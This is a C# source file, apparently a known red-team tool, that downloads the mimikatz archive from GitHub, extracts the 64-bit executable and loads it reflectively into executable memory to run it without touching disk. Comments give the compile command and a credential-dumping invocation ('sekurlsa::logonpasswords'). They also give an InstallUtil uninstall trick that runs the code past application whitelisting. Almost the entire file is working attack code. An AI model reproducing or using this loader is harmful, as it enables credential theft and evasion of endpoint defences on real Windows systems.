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Downloads and Executes Mimikatz In Memory From GitHub
using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:netkatz.exe netkatz.cs
netkatz.exe log privilege::debug sekurlsa::logonpasswords
[OR]
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U netkatz.exe
*/
namespace PELoader
{
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Program.Main();
}
}
class Program
{
public static byte[] ReadFully(Stream input)
{
byte[] buffer = new byte[16 * 1024];
using (MemoryStream ms = new MemoryStream())
{
int read;
while ((read = input.Read(buffer, 0, buffer.Length)) > 0)
{
ms.Write(buffer, 0, read);
}
return ms.ToArray();
}
}
public static void Main()
{
WebClient getKatz = new WebClient();
byte[] unpacked = null;
try
{
byte[] latestMimikatz = getKatz.DownloadData(@"https://github.com/gentilkiwi/mimikatz/releases/download/2.0.0-alpha-20150902/mimikatz_trunk.zip");
//Yes. You will need to change that... And make it a parameter...
Stream data = new MemoryStream(latestMimikatz); //The original data
Stream unzippedEntryStream; //Unzipped data from a file in the archive
ZipArchive archive = new ZipArchive(data);
foreach (ZipArchiveEntry entry in archive.Entries)
{
if (entry.FullName == @"x64/mimikatz.exe")
{
Console.WriteLine(entry.FullName);
unzippedEntryStream = entry.Open(); // .Open will return a stream
unpacked = ReadFully(unzippedEntryStream);
}
}
}
catch (Exception ex)
{
while (ex != null)
{
Console.WriteLine(ex.Message);
ex = ex.InnerException;
}
}
Console.WriteLine("Downloaded Latest");
PELoader pe = new PELoader(unpacked);
Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
IntPtr codebase = IntPtr.Zero;
codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
//Copy Sections
for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
{
IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
}
//Perform Base Relocation
//Calculate Delta
long currentbase = (long)codebase.ToInt64();
long delta;
delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);
Console.WriteLine("Delta = {0}", delta.ToString("X4"));
//Modify Memory Based On Relocation Table
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));
IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
//Console.WriteLine(relocationTable.ToString("X4"));
NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
//Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
//Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
IntPtr nextEntry = relocationTable;
int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
IntPtr offset = relocationTable;
while (true)
{
NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);
//Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
//Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);
for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
{
IntPtr patchAddr;
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
UInt16 type = (UInt16)(value >> 12);
UInt16 fixup = (UInt16)(value & 0xfff);
//Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));
switch (type)
{
case 0x0:
break;
case 0xA:
patchAddr = IntPtr.Add(dest, fixup);
//Add Delta To Location.
long originalAddr = Marshal.ReadInt64(patchAddr);
Marshal.WriteInt64(patchAddr, originalAddr + delta);
break;
}
}
offset = IntPtr.Add(relocationTable, sizeofNextBlock);
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
relocationEntry = relocationNextEntry;
nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);
if (relocationNextEntry.SizeOfBlock == 0) break;
}
//Resolve Imports
IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));
//Get And Display Each DLL To Load
for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
{
IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
if (DllName == "") { break; }
IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
Console.WriteLine("Loaded {0}", DllName);
for (int k = 1; k < 9999; k++)
{
IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
//Console.WriteLine("Function {0}", DllFuncName);
IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
Marshal.WriteInt64(a2, (long)funcAddy);
a2 = IntPtr.Add(a2, 8);
if (DllFuncName == "") break;
}
//Console.ReadLine();
}
//Transfer Control To OEP
Console.WriteLine("Executing Mimikatz");
IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);
Console.WriteLine("Thread Complete");
//Console.ReadLine();
} //End Main
}//End Program
public class PELoader
{
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[Flags]
public enum DataSectionFlags : uint
{
Stub = 0x00000000,
}
/// The DOS header
private IMAGE_DOS_HEADER dosHeader;
/// The file header
private IMAGE_FILE_HEADER fileHeader;
/// Optional 32 bit file header
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
/// Optional 64 bit file header
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
/// Image Section headers. Number of sections is in the file header.
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
private byte[] rawbytes;
public PELoader(string filePath)
{
// Read in the DLL or EXE and get the timestamp
using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = System.IO.File.ReadAllBytes(filePath);
}
}
public PELoader(byte[] fileBytes)
{
// Read in the DLL or EXE and get the timestamp
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = fileBytes;
}
}
public static T FromBinaryReader<T>(BinaryReader reader)
{
// Read in a byte array
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
// Pin the managed memory while, copy it out the data, then unpin it
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public bool Is32BitHeader
{
get
{
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
}
public IMAGE_FILE_HEADER FileHeader
{
get
{
return fileHeader;
}
}
/// Gets the optional header
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
{
get
{
return optionalHeader32;
}
}
/// Gets the optional header
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
{
get
{
return optionalHeader64;
}
}
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
{
get
{
return imageSectionHeaders;
}
}
public byte[] RawBytes
{
get
{
return rawbytes;
}
}
}//End Class
unsafe class NativeDeclarations
{
public static uint MEM_COMMIT = 0x1000;
public static uint MEM_RESERVE = 0x2000;
public static uint PAGE_EXECUTE_READWRITE = 0x40;
public static uint PAGE_READWRITE = 0x04;
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
IntPtr lpThreadId
);
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[StructLayout(LayoutKind.Sequential)]
public unsafe struct IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk;
public uint TimeDateStamp;
public uint ForwarderChain;
public uint Name;
public uint FirstThunk;
}
}
}
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